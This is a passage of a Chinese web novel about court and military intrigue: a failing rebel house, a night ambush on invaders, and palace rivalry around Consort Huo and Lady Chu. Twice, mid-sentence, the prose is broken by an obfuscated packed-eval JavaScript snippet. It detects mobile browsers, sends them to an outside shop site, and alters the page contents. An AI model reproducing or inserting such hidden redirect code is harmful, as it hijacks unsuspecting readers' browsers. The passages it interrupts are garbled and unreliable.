孟怋乂注视着棋盘,未语,梅斗洞悉道:“想看看你最终能走到哪儿,到最后再想撤,你还能保全得了自己吗?”他们眼下虽然龟缩一隅,但至少还掌握着千里之地,北至越州,西至洪州,南至潮州,目前想撤还是很有可能全身而退。 “夫人都没心思打仗,只想带儿孙出海保命。”若投降能保命,翟丽必定投降,但朝廷不会容朱家苟活,他们边抵抗边想撤退才可能有生机。 孟怋乂仍然不语,梅斗看向他的棋盘,棋盘之上只有一颗白棋和一颗黑棋。 “你被当做棋子了?”梅斗揣测,孟怋乂才有点反应自嘲,梅斗涌起不好的预感:“你被谁当棋子了?” 孟怋乂没理会,梅斗再道:“那你还派军出鄱阳?” “番兵损失几万人了,若还什么都捞不到,能善罢甘休吗,他们又会把矛头对准谁?”孟怋乂骤然发火,暴跳如雷:“侯爷和世子都被暗杀了,还有几个人想去冲锋,都在想走,可能这么走吗?谁能想到朱家会败得这么快,才半年!” 梅斗苦笑,他对孟怋乂这点还了解,这是他心情极差要发泄,若是平常他仍会不理睬:“怎么会败得那么快?”梅斗自问、自答:“朱家根基太浅,华而不实,要真刀真枪去抢了就不抵用了。”他倏然严厉:“那我们还走得了吗? 看侯爷势大依附过来想博个前程的有多少人家,可朱家才半年就已是强弩之末了,多少人觉得受了欺骗,我粗估上了朝廷清算名单的就有上百家,这些人往哪发泄?” 孟怋乂拿出个小瓶子放桌上:“鹤顶红。” 梅斗瞬间红眼睛,翟丽推门进来,两位谋士问好,翟丽开门见山:“我来想问问先生,若我们只是撤退,出海去,有多少把握能走得了?” “皇家宗室遭屠戮后侯爷曾放纵过烧杀抢掠,江南大户死的不比山东少。”孟怋乂答,翟丽险些没克制住,把桌上的小瓶子拿来:“两位先生走吧,眼下还走得了。” “夫人若想撤了,我给你和六少爷安排。”孟怋乂道,翟丽摇头:“朱家,朱氏一族,包括朱家的姻亲,没有一个人还能逃得了,朱家有多少族恐怕都不够杀了,最后几天,哪儿也不去了,我就享享天伦之乐,两位先生也不要太操劳。” 孟怋乂颔首:“谢夫人。” 翟丽往屋外走,背影像在发抖,在屋外的檀慈等着夫人走远了,忙赶进屋去问:“世子收的粮食,你是放在巢县吗,没有啊,他们闹着要粮草呢?” 孟怋乂一怔,缓慢转向棋盘,他哈哈大笑,拿起白子,翻手覆下。 白子落,黑棋被滚出棋局,摔落在地。 190. 第190章 太上皇病重的消息传出,太上皇再再想将朝堂全权交给皇帝,皇帝不肯,还隔两天就带着臣子们去向圣人请安、禀奏,无有不恭敬,天下人看得见的父慈子孝。 传到原牧炽耳中,原小将军跟晏霁之吐槽:“真不嫌假。” “换你肯定做不来吧。”晏霁之检查新改的弩车。 “在二千里之外看着我都觉得鸡皮疙瘩起来了。”原牧炽莫名激动。 魏王进营帐,晏霁之调侃:“看,一样做得到的人来了。” 原牧炽瞟他没多言,魏王问话:“我离开几天,你们天天在军中杀鸡宰羊?” 晏霁之看弩车,原牧炽转头嘟囔:“军粮就是用来吃得嘛。” “还好你爹没让你饿着。”魏王刺,原牧炽瞪视,兄弟两个视线较量过,原牧炽扭头,魏王再训:“你们让大军磨花椒粉,打算扔花椒粉来偷袭贼寇?” “还能扔毒粉啊,若洒落在井里,老百姓们回城之后岂不要遭殃?”原牧炽振振有词,魏王看这两人是想偷袭他吧:“这花椒粉有什么用处吗?” “辣眼睛!”原牧炽着重音,晏霁之补充:“可使敌军心烦意乱。” “你们真有想法。”魏王恭维。 晏霁之微微蹙眉:“唯恐蛮夷撤走时有害人之心,还是得防范。” 此前五莲山一战,贼寇败退,他们断定敌军会进密州休整,率先将百姓们撤离,魏王这几天去安置老百姓们了。外夷最初八万大军来袭,被打到还剩五万左右。 两军相持,贼人在城中按兵不动,他们率六万大军驻扎在密州城六十里外。 “贼寇不劫掠,粮草都还能撑个把月。”魏王决定:“休整三天,攻城。” “蛮夷围着城墙在沙土里铺铁钉板呢。”原牧炽撇嘴,晏霁之道:“蛮夷想走,再交战,五万人绝不会倾巢而出,必会趁机溜走一批。” “很可能趁夜逃跑。”原牧炽告知:“所以我们已经在密州城外布下天罗地网。” “字面意思,铁丝网。”晏霁之把他们的作战计划递给魏王。 魏王翻翻作战计划,打发原牧炽:“午膳,让庖厨下三碗羊肉面。” 原牧炽闷头往外,晏霁之防备:“你像对我不怀好意。” “未雨绸缪,而已。”魏王纠正,晏霁之推拒:“明年我和冠军侯就会被派去训练水师,几年都未必能回京,京中的情形与我不相干。” 魏王一脸看他装得,晏霁之无奈:“你问你哥嘛,圣人今年必要退出朝堂颐养天年了,你哥是向着你还是向着你弟又或者他想自己做老大得你们自己算。” “京畿西大营接下来是交给蜀王吧?”魏王喃喃。 “你任兵部尚书了。”晏霁之反提醒。 魏王盯着晏霁之,几乎是承诺:“我可以把霍灵渠给你,晏家和霍家全身而退。” 晏霁之打趣:“你该把你六弟拉进来把原家也算上。” “我认真的。”魏王保证,晏霁之否决:“嬴忱璧不会相信。” “你懂我的意思?”魏王想笑,看他的眼神逐渐深邃,晏霁之淡笑:“圣人不会愿意放权,战事平定后他一定会对皇帝出手,很可能还会把你和蜀王算上,把你们三兄弟都宰了,你想趁乱让霍贵妃死了,我致仕,带霍灵渠远走。” “霁之聪慧。”魏王是这个意思。 “嬴忱璧不会相信。”晏霁之低头抚抚弩车。 魏王一瞥,专注道:“他会有个前奏吗?” 晏霁之想若是嬴忱璧得和他谈谈弩车了,魏王上位能放他全身而退吗,晏霁之自问,还真是相信嬴忱璧远胜魏王:“把你们传去太微宫杀了,要什么前奏?” 魏王瞪他,晏霁之无辜道:“不撕破脸,他想杀你们就是易如反掌。” “朝堂默认太上皇要退出朝堂了,他还握得住吗?”魏王反驳。 “谁才妨碍他?皇帝崩,太上皇重登大宝,谁反对,你怕你爹刀子生锈了?出个前奏,什么样的前奏,收拾霍家,收拾原家,让你们兄弟警惕在他出手前奉养他颐养天年,你疯了还是你爹疯了?”你这有什么好转不过弯,晏霁之倒碗茶喝茶。 魏王眼神一闪,烦了,这爹真是让人糟心透了。原牧炽默默走过来,魏王一眼都没看,晏霁之看他担心:“你也危险,说不定你爹想把你们四个一起宰了。” 原牧炽捶桌子,烦死了! 晏霁之看他挺有劲,拽着他去设埋伏,又把魏王拽上。 夜半,黑漆隐没星光,城外大营灯火照旧,城中一支军队出北门,趁着夜的掩护向东,零星火把照前路。 远远望见火光,一排弩车和投石车准备就绪,原牧炽一声令下,士兵们把系着花椒粉布袋且布袋有破洞的大石装入投石车砸向敌人。 原牧炽第二声令下,漫天箭矢,想撤走的蛮夷仓促迎战。 率一万人狙击,原牧炽带大家埋伏好几天,蛮夷这几天若还没有动静,他都要嫌慢了,原牧炽拿出酒袋抿口烈酒,哼,这铁钉板的滋味让蛮夷自己尝吧。 蛮夷定的今夜偷袭城外大营,他们探得清晰,对方大营今夜没有异常,城楼亮起火把,模糊间望见前方好像有抛车还没有确认,一波大石袭来,城楼上的火把砸翻在地,擦着火苗的箭矢若流星划过射向城楼,原想偷袭对方的蛮夷当即紧闭城门,指挥应战。 是魏王亲自带队,还是率一万大军来攻城。 所以晏霁之还带着四万人在军营呢,在大营外窥测能探查出个什么来? 黑夜淡去,黎明照耀厮杀的战场,伤亡惨重的蛮夷杀出重围,慌不择路而去,晏霁之率养足精神的大军过来,魏王和原牧炽接过军队去追击,晏霁之率队进城。 去躲避战祸的百姓们有条不紊地迁回,晏霁之在等的人也来了。 离京前他给国师留信:我要见姬潮。 “姬家的仇还没报完吧?” 见到人,晏霁之开宗明义,姬潮打量他,不语。晏霁之阐发:“在京城外的宗亲被杀,我以为姬家报仇了,岂料京中又死去几百人,在太上皇眼皮底下报仇,做到这一步,还会差最后一步吗?”晏霁之言之凿凿:“你们还想要太上皇死。” 姬潮转过视线,看山峦青翠。 “蜀王知道吗?他能放任舅舅去杀他的父亲?假若蜀王知道,那么他想不想要皇位?”晏霁之刺激:“若他想要皇位,他能放任外祖家杀他父亲,他还能容下外祖家吗,姬家又真的能够相信这个外孙、一个漠视父亲死的外孙?” 姬潮鹰隼般视线盯着他,晏霁之莞尔:“你猜,皇帝怎么想?” 姬潮温和些,晏霁之问:“长念长公主是谁给的,嬴忱璧,还是嬴忱胜,我猜不出来,但我倾向于是嬴忱璧,我不觉得嬴忱胜能是嬴忱璧的对手。” “但嬴忱璧能封长念长公主吗?”晏霁之不解。 姬潮未语走掉,晏霁之静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672904|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默片刻,望向蓝天,快端午了。 “是端午。” 皇宫,皇帝嬴忱璧告诉贵妃:太上皇在端午处死庄太妃了。 “12年,结束了。”太上皇想好的吧,当给这段往事一个完整了。霍灵渠记得的,她答应过要去把悼太子留下的信物找来,因在宫外,皇帝让她等叛乱平定之后出宫。 嬴忱璧微叹,皇帝今夜宿在关雎宫,两个小孩洗漱好跑来,嬴忱璧侧脸,压压不耐烦。皇帝若夜里来关雎宫,二皇子就会带弟弟过来,但若皇帝不来,二皇子也不会带弟弟出现,三皇子为此还跟他哥吵过,三皇子想每夜跟着贵妃,二皇子拦着弟弟不让。 霍灵渠当没看见皇帝的不豫,皇帝现在不愿意打地铺了,自打不打地铺以后,皇帝一直要睡在床铺,那对霍灵渠而言当然夜里小孩越多越好。 霍灵渠琢磨着,过些天找爹商量。 赶上休沐,霍漓江进宫看女儿,食盒里装两只粽子,一只肉粽,一只豆沙粽。 “你近来这么忙呀?”端午过去几天了,她爹给她送粽子来,她晓得她爹忙,朝廷要全面清算叛逆及同伙了,她怕爹爹忙还想过几天找爹,不想爹爹来看她了。 霍灵渠两只粽各吃一半,剩的两只半粽给爹。 “宫女说你近来很烦躁?”霍漓江关心:“没怀孕吧,你大伯都猜你怀孕了?” “我怀孕了我会烦躁吗,保胎还来不及。”霍灵渠吃过小粽吃甜饮,霍漓江看女儿能吃得都想怀疑了:“你悠着点,不然你这德行会让人以为你怀的是皇帝的种。” “我怀孕了我会跟皇帝摊牌。”霍灵渠很敞亮。 霍漓江说风凉话:“晏墉要哭死了,天塌地陷。” “好了,不耍贫嘴了,我还有事呢,行知在京中待得差不多了,让他最近就撤了,回护国公身边去吧。”霍灵渠提议,霍漓江同意:“眼下他留着是没多大意思了。” “还有我。”霍灵渠眼观鼻鼻观心:“我也想撤了。” 霍漓江差点后仰看闺女:“你想啥?” “我想撤了,太上皇不会想颐养天年,一定会和皇帝交恶,我就趁乱假死,让皇帝以为是太上皇把霍贵妃宰了,多好啊。”霍灵渠踊跃:“那太上皇想拿我来修炼什么长生,我现在觉得对我不是没有一点好处,我们可以好好给圣人吹吹风。” 霍漓江埋汰:“好让你假死是吧。” 霍灵渠发牢骚:“我现在度日如年啊,你都不知道。” “晏霁之不在,你度日如年是吧?”霍漓江训一训,怪不得闺女烦躁呢,霍灵渠放言:“是又怎样,就是晏霁之不在,我度日如年,你不想想你年轻时对我母亲怎么要死要活的,我现在被困在这皇宫里,我真的难受,我要假死,我要出宫。” “你看看你这副缺男人的样。”霍漓江数落。 “食色性也,我想又怎样?”霍灵渠认了,反正她现在做梦都不害羞了。 霍漓江认真些:“真的一点不想做皇后?” “爹爹!”霍灵渠吼她爹,她难受,她爹还说风凉话:“我要出宫,我想晏霁之,你知道我有多辛苦吗?我快如狼似虎了!我要出宫!”霍灵渠飚高音再吼。 “这两只粽子是某个人千里迢迢派人给你送来,据说他亲自包的粽子,但是你不用妄想你爹能帮你送情书了。”霍漓江走人,皇帝真明智把晏霁之赶走了。 霍灵渠抓拳,憋心里狂咆哮,啊啊!! 191. 第191章 灯火阑珊,行知在寂静的夜里看着霍家的信许久,把信烧掉。 一应安排妥善,行知向蒙大人请辞,又去霍家看过解忧和小祐。 虽然甚少见面,没怎么教过他,小祐还是觉得先生很亲:“先生还会来看小祐吗,先生的家在哪里?” “小祐也可以去看先生。”小祐念书识字一年多,稚气退却不少。 “会,先生和小祐会再见面。”行知看着小侄儿柔和疼爱:“小祐识字了,想不想爹爹,先生要去北方可以给小祐找爹爹,把小祐的信带给爹爹。” “哦好。”小祐欢呼:“先生等等我,我去写信,不,先生陪我一起写吧。” 行知应好,牵住侄儿的小手,陪小侄儿去写信。 月末,行知离京,马车来到城门前,行知似有感地回望眼,放下窗帘,车辆远去。 霍桑柔进宫帮先生转交一封信给姐姐,她看过了,主要是她问了先生,先生跟她说了,霍桑柔神奇:“姐,那个楚美人的两个皇子,大晚上的,陛下一来,他们就跑你的寝屋啊,陛下不来又当看不见你,忒难看了,这楚美人还要不要脸?” 小祐在陪一岁的幼儿走路,一岁的小娃娃摇摇晃晃,小祐看好玩。 霍灵渠抚抚妹妹的脸,霍桑柔亲昵的靠住姐姐。 行知的信是告诉霍灵渠他的猜想,楚美人的两个皇子将来应该会想争储。 皇帝冷落楚美人但很眷顾楚美人的这两个皇子,皇帝若一直疼爱,他们能不想储位吗? 但若皇帝渐渐对他们一般了,他们能受得住吗?能愿意将来做王爷吗? 行知认为,不能,眼下不论皇帝如何对二皇子兄弟,他们将来都会想争储。 霍灵渠沉吟,霍枫叶在点酥山,他陪霍桑柔和小祐进宫的,小幼儿走几遍走他面前,看片刻想抓鲜艳的花花,小祐拿朵花给小娃娃,霍桑柔看好看也去点酥山。 一岁的幼儿回去抱贵妃裙摆,仰头,张着小手臂,懂得抱了:“抱,抱!” 霍灵渠把四皇子抱起来。 转念想,霍灵渠派人去请皇帝和他们用午膳,皇帝没来,让贵妃和妹妹好好聚,下午,霍枫叶带着侄女和小祐出宫了,霍灵渠抱着一岁的四皇子去找皇帝。 嬴忱璧自觉:“贵妃压根儿没想请朕用膳吧?”所以我没去,但你现在这副来势汹汹好像要找我算账的架势是怎么回事? 霍灵渠应:“是啊,但我不来你这里找你,等你来见我,天都黑了,楚美人把两个皇子送来,还有谈话的间隙吗?” 嬴忱璧趁机怂恿:“贵妃也觉得实在受困很妨碍吧?” “我和你说正经的。”霍灵渠把想法告诉皇帝,嬴忱璧脸上的笑意没了,霍灵渠低头,握住四皇子的小手,小幼儿欣悦贴着贵妃。 嬴忱璧眼前若恍惚,像是又看见十二岁的二皇子对他的倨傲,正徽帝闭目冷静下,何其相似啊,楚氏不得意但他疼爱孩儿。 “朕若一直疼爱,二皇子会对朕倨傲吗?”嬴忱璧不自觉凛然:“父亲让他不满意了,他就敢看不上父亲对君王不屑?”嬴忱璧心里发笑,竟然才看懂,十二岁的二皇子,当时的神情是他自觉他要唯我独尊,他的父亲不配,他才配。 嬴忱璧忍住不想二皇子和他生母一个嘴脸:“若弟弟比他得父亲疼爱,二皇子能肯吗?朕若让他们兄弟做富贵闲人,他们娘仨是会欣然感恩还是怨、痛恨?” 霍灵渠只搂住四皇子,刚刚,她清晰感受到帝王的赫赫之威,让人心生害怕。 嬴忱璧牵牵唇,有丝自嘲。 皇帝在三月间传召嫔妃侍寝,至四月底,去年进宫的新人都召见过了,而自五月起,嬴忱璧留宿后宫的日子大增,只除了翡素轩没有踏足。皇帝和楚美人尚未冰释,不去很正常,只是放眼下有些打眼,且宫中对楚美人议论纷纷,楚美人都安静。 一如去年她被降位时的沉静。 夏日炎炎,三皇子不大愿意去翡素轩,三皇子满四岁,已经上学堂了。他这两个月就是早上跟哥哥去学堂,下了学堂,跟着哥哥去翡素轩,用过晚膳回关雎宫,不比上学堂前,他一个白天都在翡素轩,天又很热了,他嫌折腾。 二皇子说弟弟不敬母妃,三皇子反怼:“我们也没天天见父皇,作甚非得天天见母妃,少见一天少长肉啊?”贵妃说四皇子的,有一回,四皇子吃南瓜炖蛋,吃得急,好像谁要跟这小幼儿抢,贵妃说吃慢点少长肉啊,他听来了。 二皇子不知该怎么驳斥,爹娘见得少,想,但见得多了,见面也就不珍贵了,今天不去翡素轩有影响吗?去了,也就那样,那不去好像也没啥。 三皇子拉着哥哥回关雎宫,二皇子没反对。 六月里捷报频传,两地叛乱悉数平定,皇帝和太上皇大喜,太上皇的病都像好了大半,皇帝还和贵妃说,下个月停掉给去年进宫的嫔御的避子汤。 霍灵渠懂,今年,皇宫中有个喜讯好。 嬴忱璧还有礼物给贵妃,一碗白米饭,霍灵渠不解,嬴忱璧笑道:“是早稻。” “早稻收获了呀,收成好吗?”霍灵渠眉开眼笑,夹筷米饭吃,一岁的小幼儿窝在贵妃怀里对着饭香巴巴想要,霍灵渠跟他说:“你不饿,不饿,不想吃。” 嬴忱璧失笑,捏几粒白米饭入口,很甜。 翡素轩冒着苦味,楚美人病倒了。 俩小孩之前隔几天去翡素轩,楚美人病倒后还让皇儿们少来,省得过病气。 是夜,皇帝在关雎宫,二皇子牵着弟弟和父皇说:“父皇,母妃病了,你去看看她吧?” 嬴忱璧看向贵妃,霍灵渠温婉道:“陛下毋忧,从五品美人还不能传太医都特例传太医去看过了,没什么大碍,过几天应能痊愈。” “嗯。”皇帝怀中抱着幼儿,他摸摸二皇子的头,专注教幼子吐字了。 三皇子拉着哥哥去到贵妃身边,自然倚在霍贵妃的怀里,二皇子顾盼,若感失落之际,霍灵渠和悦道:“看着闷,去和父皇一起教弟弟说话呀。” 二皇子看看,走到父皇面前,嬴忱璧把小儿放下,看幼子喜悦没有不适,又看向贵妃,霍灵渠把三皇子送过去,兄弟俩逗弟弟玩会儿,二皇子才逐渐高兴。 楚美人病好,二皇子更高兴了,让父皇陪他们去看河灯,嬴忱璧不想去,二皇子闹着非得要父皇去,让他们兄弟俩去又不肯,嬴忱璧不悦了,霍灵渠责备:“没看见父皇累了吗,你们要看河灯,去就是了。”霍灵渠扬声,传宫人进来。 小孩不敢再言,挨过训了,之前对楚美人的流言甚嚣尘上,这六岁小孩要给他娘出头,顶撞他爹,就被训了,罚他们兄弟俩半个月不许去看生母,老实了。 二皇子依依不舍地带弟弟走了。 嬴忱璧和贵妃商量,让年长的两个皇儿回自己寝屋吧,霍灵渠坚决不同意,嬴忱璧一脸看穿贵妃的小九九都不想陪着了,顾虑道:“楚美人会想使算计吗?” 今夜七夕。 “她使不出来。”霍灵渠把小幼儿抱起来,一个不注意都要埋进攒盒了,这小娃娃现在看什么都馋。嬴忱璧不同意:“楚氏恨吧,她的安静之下是浓浓的恨。” 霍灵渠不反对,嬴忱璧就问了:“这么恨了,她还能使不出算计来?” “她的恨意是要这么发泄的。”霍灵渠描述:“你和她和好,她做宠妃,做皇后,所有人都匍匐在她脚下对她毕恭毕敬、顶礼膜拜,谁让她不喜了,她一蹙眉你就已经替她给办了,她正在进行第一步,你等着你们两个和好吧。” 嬴忱璧乐了,贵妃概括得真怪有趣。 “这个所有人也包括朕吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683307|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”嬴忱璧审视,霍灵渠没说话,皇帝靠近贵妃,霍灵渠让小幼儿握住彩绳编的小鞭子对准他爹,嬴忱璧一噎,没好气的端茶盅喝茶。 “朕今夜若去看河灯,会看见个什么样的楚美人?温柔、知情识趣,还是要拒人于千里之外?是冷漠吧,又得皇帝捧着她才能有她想的和好。”嬴忱璧好笑:“半年前她还想示好,自觉被贵妃下了脸,皇帝没护着她,又能这么作。” “还是变本加厉的作。”嬴忱璧横眉怒目:“她把孩子推出来,我拒绝得多了,两个孩子对我生怨;我若去了,她给我冷脸,我也懒得给她脸,依旧让孩子对我生怨。” “或许楚美人是觉得你伤了她的心。”霍灵渠揣测:“正月里,她好不容易去找你,她憧憬着你们俩人和好,你非但不见她还纵容霍贵妃下她的脸,她伤心了。” 嬴忱璧恭维:“这么受不住的,真没见过。” “过了中秋,就送二皇子兄弟出宫。”嬴忱璧决定。 “小孩盼着爹娘和好呢,今年让他们住宫里吧。”霍灵渠善劝:“你让人跟孩子说嘛,想爹娘和好不能老想着请父皇去看母妃,让他们带着母妃来找父皇。” 嬴忱璧闻言,逐渐正视之,好像要捕捉到什么:“楚氏会愿意来吗?” 霍灵渠直觉:“难,但她应该哄得住孩子,今年能消停。” “难?”嬴忱璧凤眸有丝迷离:“为何不愿意,宁愿让孩儿们难受?”嬴忱璧猛惊觉:“楚氏正月里的主动是想踩着皇帝,她认为我很难过需要被她施舍。 不想皇帝高兴时她冒出来对她有利,因为她认为皇帝高兴时是皇帝在施舍她,她得想,得她去踩着皇帝才能让她满意到愿意主动一回。” 霍灵渠震惊地看着嬴忱璧。 “陛下多心了吧?”霍灵渠缓缓压压惊,嬴忱璧嗤道:“贵妃还记得今年大年初一吧,我们都觉得她有心想邀宠了,不都还是她派人来请朕,而非她来找朕。 朕相信,那天,朕若是去了,朕看到的一定是个温婉的楚美人,但此后,想她来找朕,不可能,唯有她一直派人来请朕。”皇帝注视贵妃:“但若朕有一回没去?” 霍灵渠按这设想近乎有种恍然大悟的疲累:“她会觉得是你在下她的脸。” 嬴忱璧冷恶:“真拿她自己当个玩意儿。” “而这半年来,她又能这么作,贵妃知道朕想什么吗?”嬴忱璧怒火在烧,霍灵渠应:“因为你疼爱她生的两个皇子,而大皇子又已经没了。” 嬴忱璧眼神陡然一厉,洞察秋毫之末般盯着霍贵妃,霍灵渠把话敞明:“这楚美人的想法从来没变过,她自认是她委屈,她没有错。” “她永远不会有错!”嬴忱璧反唇相讥,在暴怒边缘,霍灵渠想:“假若楚氏当年不是入潜邸,她骨子里这层性情或许永远不会冒出来,但入了潜邸,做多年最得宠的宠妃,把她,她自己把她架得太高了,她放不下来了。” “朕对她一般般,她都会是这么个德行吧。”嬴忱璧讥诮,霍灵渠看皇帝一眼,低眸:“因为楚氏对你的认知不符合她对天潢贵胄的想象,而你又是皇帝。” “所以楚氏自觉她高高在上,她才尊贵。”嬴忱璧眼底喷火。 霍灵渠抱住四皇子,小幼儿懂害怕似的握住贵妃,嬴忱璧参悟道:“对,贵妃说的对,楚美人使不出算计,她把自己端得太高了,做不来算计,到死都做不来。” 霍灵渠怔住,皇帝问:“怎么了?” “我想起,陛下曾言,若让二皇子兄弟做富贵闲人,楚氏会欣然感恩还是怨痛交织?”霍灵渠想明白了,嬴忱璧微怔,发笑,懂了,彻底没有疑虑了:“当然是痛恨不已,她都把自己端得那么高了,怎么还能受得了她两个儿子做富贵闲人?” 皇帝语毕,耳畔传来天籁之音。 192. 第192章 霍灵渠对皇帝说:你娘很爱你。 嬴忱璧转头,冷不防撞见霍贵妃,嬴忱璧:“……” 皇帝差点就害羞了,嬴忱璧稳住:“贵妃说什么呢?” “我直觉,芮贤妃是一个很小女儿家心肠的人。”霍灵渠明眸善睐,在琉璃灯火中缓缓流淌出岁月静好的画卷:“她的心不高,安于平淡,遇事,她虽然不能保护你,但她会尽己所能的把你护在身后,她永远不会把儿子推出来替她在前面。” 嬴忱璧在心里顽强抵御,贵妃这样讨好他,是有个大坑在等着他吧? 霍灵渠质朴温雅:“陛下释怀吧,你娘很爱你,对芮家,她会懂。” 嬴忱璧冷漠下:“贵妃有话直说吧。” “我真的这么想。”霍灵渠坚持道:“若是你娘还在,她也只会要求给芮家留下几个人,甚至于把她爹留下,你又有什么不能满足呢?”她说得很轻巧,嬴忱璧在心里冷哼,还说不是故意等着坑他:“贵妃觉得朕该答应这样的请求?” “有什么不能答应?”霍灵渠快人快语:“你把他们送出海让他们去做外国人呀,譬如,做天竺人,这辈子下辈子几辈子都不会回来了,还有什么妨碍?” 送出海,做外国人,天竺人?皇帝在心里微微抓狂,怼她:你显摆什么呀,你故意现在跟我说是吧?!嬴忱璧再稳住:“贵妃有话直说吧。” “你娘很爱你。”霍灵渠还是这话。 嬴忱璧微愣,望着霍贵妃的笑眸,了然其意,楚氏还爱她的孩子吗?皇帝感觉不出来,霍贵妃也感觉不出来了,贵妃怕他真要怒了,在想让他息怒,嬴忱璧心里轻咳,虽然一己之见还很可能是贵妃故意讨他高兴,嬴忱璧还是有一丝丝甜蜜。 贵妃心善。 皇帝高兴,藏不住,宫中和朝堂都逐渐感知到了,太上皇问皇儿何事如此高兴,嬴忱璧在父亲的病榻前握住父皇的手,油然欢喜:“贵妃和孩儿说,爹娘很爱我。” 太上皇微微一怔,看皇帝更像个孩儿在他面前,竟有些不知该如何接话。 只是,隔天,嬴忱璧就险些语塞了。 霍太后打趣皇帝儿子,遇到什么事这样高兴呀?嬴忱璧:“……” 霍灵渠得知她被造谣和皇帝很甜蜜的时候简直惊悚了,皇帝瞎造谣啊,霍灵渠憋着窝火大动干戈在关雎宫里拿木棍打木桩,嬴忱璧凑过来,霍灵渠无视之,把这木桩当皇帝来打,嬴忱璧提议去练武,霍灵渠慢睨向他,同意了,去练武。 跑马,打拳,射箭,三个多时辰,霍灵渠酣畅淋漓地发过火又向皇帝敲走一百两金子,她心情才算舒缓了,抱着金元宝,她头也不回的走掉,嬴忱璧莞尔,弯唇。 霍灵渠找来她爹,把信往爹面前一推,豪横道:“给我送信。” 霍漓江慢悠悠拆信:“家里还没问呢,你和皇帝真的假的,没个预兆就甜蜜了?”看过信的霍漓江险些惊讶:“就因为你跟他说他娘很爱他,他高兴成那样?” “对呀,皇帝有病。”霍灵渠还是生气,有病就算了还造谣她。 你还特意写信给晏霁之解释呢,霍漓江把信揣起来,当什么都没感知。 嬴忱璧有感知,贵妃今夜应该不想看见他,识趣的没去关雎宫。贵妃寝阁,霍灵渠练武累着了,天没黑就瘫在被窝,精神好的小幼儿在贵妃身边活泼好动,宫女走到纱帘前禀告,翡素轩的宫人想来向贵妃求个恩典,她25岁了想求出宫。 霍灵渠沉默下,让宫女把人带进来,此人进贵妃寝殿,当即跪下磕头,隔着两层轻纱,小幼儿看向床外,霍灵渠坐起来,小幼儿扑过去,霍灵渠抬抬手臂揽着孩子。 “每年,十月,宫里会把年满25岁的宫女放出宫,你年纪到了想出宫,翡素轩把你的名字报去长春宫就可以了,这么点小事让你悄悄来关雎宫相求?” “贵妃明鉴,奴婢是翡素轩的大宫女小扇。”小扇哀道:“楚美人她不会管的。” “楚美人不理会,你可以找翡素轩的管事。”霍灵渠告知,小扇摇头啜泣,霍灵渠问:“你是想告诉我,楚美人不愿意有任何事求告到姓霍的面前吗?” 小扇弯腰将头擦到地板,霍灵渠再问:“你求楚美人,她怎么回绝你?” “还怎么回绝呀,就不说话呗,一年多了,不说话都是她的拿手好戏了,她一不说话,还巴望着美人会有前途的那些人就要把我拉走训我不懂事了。”小扇苦笑。 “你回去吧,本宫会给你出宫的名额。” “奴婢谢贵妃娘娘,谢贵妃,娘娘,二皇子可能快要对付您了。” 霍灵渠让宫女们退下吧,感觉到疲惫。 疲惫,相思,对皇宫的厌倦,霍灵渠就想安静,一天,两天,她握着她的海螺,独坐在窗前望着她的风铃,但对一岁多的小幼儿,两天见不到贵妃,小娃大哭,在寝屋前不肯走,闹着哭着喊抱,抱……奴婢们哄不住四皇子了,只能去找贵妃。 霍灵渠答应,宫人把小殿下抱到,小幼儿急切扎进贵妃怀里,哭得上气不接下气。 霍灵渠看他想,我比你可怜,我想的人,我见不到。 晏霁之还觉得可怜呢,看着女人的信,晏霁之没事人一样安静,安静没多久,两个人在一起久了是会有相似,晏霁之找木棍来竖着砸桌案,没把桌案砸穿只让他自个儿愈发憋火,他去找原牧炽,拖着原牧炽去切磋,被扰清梦的原小将军真不想理他。 原牧炽没劲的跟他过几招想敷衍过去偏偏还敷衍不了,晏霁之招招重击,硬拖着原牧炽狠狠打到他们俩都筋疲力尽,夜空还有几颗星闪闪,俩人挨着坐,晏霁之靠着原牧炽的肩,原牧炽嫌磨叽:“哎你现在不是应该赶紧回去沐浴吗?一身臭汗。” 晏霁之静默不语,原牧炽耸耸肩:“你死啦?” 晏霁之低头,抱膝,像要把自己蜷缩,苦涩得原牧炽无奈:“要不然你送点礼物去吧,我明天陪你去看宝石,今夜很晚了,回去歇息吧。” “累了,你背我回去吧。” 原牧炽:“……”臭不要脸的,我把你扔屋顶摔下来信不信?! 京畿,皇宫中,二十多天来都喜洋洋,嬴忱璧给去年进宫的嫔御晋升一级,因贵妃不让低位嫔御去打搅陛下,她们接过旨意后去关雎宫谢恩,霍灵渠给每位送支珠钗。 嬴忱璧笑意不辍,都知道陛下高兴,很高兴,宫中彻底走出年初的阴霾。 大病半年的太上皇病愈,皇帝和太后率众去看望圣人,太上皇跟前儿孙环绕,甚喜乐,太上皇说起该给长孙和吴王议亲了,闹得弱冠之龄的歆郡王都脸红。嬴忱璧被瑞执大长公主请去殿外,瑞执在京中一年,皇兄病好了,她也要回家去了。 嬴忱璧留道:“姑母,朕请老秦王回京团聚,您和老王爷见一面,过完年再走吧。” 瑞执敏感意识到有丝不寻常,没多言,就笑着应下了,又请陛下和楚美人也见一见吧,嬴忱璧讶然看着姑姑,瑞执坦然:“对,楚家人求到我这里来了。 